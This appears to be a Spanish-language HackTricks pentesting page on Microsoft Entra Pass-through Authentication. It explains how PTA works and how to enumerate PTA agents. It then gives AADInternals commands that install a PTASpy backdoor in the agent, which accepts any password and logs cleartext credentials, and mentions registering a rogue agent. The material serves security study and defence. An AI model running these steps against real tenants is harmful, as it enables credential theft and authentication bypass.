4.8 KiB
Az - PTA - Pass-through Authentication
{{#include ../../../banners/hacktricks-training.md}}
Información Básica
Desde la documentación: La autenticación pass-through de Microsoft Entra permite a sus usuarios iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Microsoft Entra ID, esta función valida las contraseñas de los usuarios directamente contra su Active Directory local.
En PTA las identidades están sincronizadas pero las contraseñas no como en PHS.
La autenticación se valida en el AD local y la comunicación con la nube se realiza a través de un agente de autenticación que se ejecuta en un servidor local (no necesita estar en el DC local).
Flujo de Autenticación

- Para iniciar sesión, el usuario es redirigido a Azure AD, donde envía el nombre de usuario y la contraseña.
- Las credenciales son encriptadas y colocadas en una cola en Azure AD.
- El agente de autenticación local recoge las credenciales de la cola y las desencripta. Este agente se llama "agente de autenticación pass-through" o agente PTA.
- El agente valida las credenciales contra el AD local y envía la respuesta de vuelta a Azure AD que, si la respuesta es positiva, completa el inicio de sesión del usuario.
Warning
Si un atacante compromete el PTA, puede ver todas las credenciales de la cola (en texto claro).
También puede validar cualquier credencial en AzureAD (ataque similar a la llave maestra).
Enumeración
Desde Entra ID:
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
Verifica si el agente está en ejecución en el servidor local:
Get-Service -Name "AzureADConnectAuthenticationAgent"
Pivoting
Si tienes acceso admin al servidor de Azure AD Connect con el agente PTA en ejecución, puedes usar el módulo AADInternals para insertar una puerta trasera que validará TODAS las contraseñas introducidas (así que todas las contraseñas serán válidas para la autenticación):
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
Note
Si la instalación falla, esto se debe probablemente a que faltan los Microsoft Visual C++ 2015 Redistributables.
Este backdoor hará:
- Crear una carpeta oculta
C:\PTASpy - Copiar un
PTASpy.dllaC:\PTASpy - Inyectar
PTASpy.dllal procesoAzureADConnectAuthenticationAgentService
Note
Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy es “descargado” y debe ser reinstalado.
Caution
Después de obtener privilegios de GA en la nube, es posible registrar un nuevo agente PTA y repetir los pasos previos para autenticar usando cualquier contraseña y también, obtener las contraseñas en texto claro.
Seamless SSO
Es posible usar Seamless SSO con PTA, que es vulnerable a otros abusos. Verifique en:
{{#ref}} az-seamless-sso.md {{#endref}}
Referencias
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta
- https://aadinternals.com/post/on-prem_admin/#pass-through-authentication
{{#include ../../../banners/hacktricks-training.md}}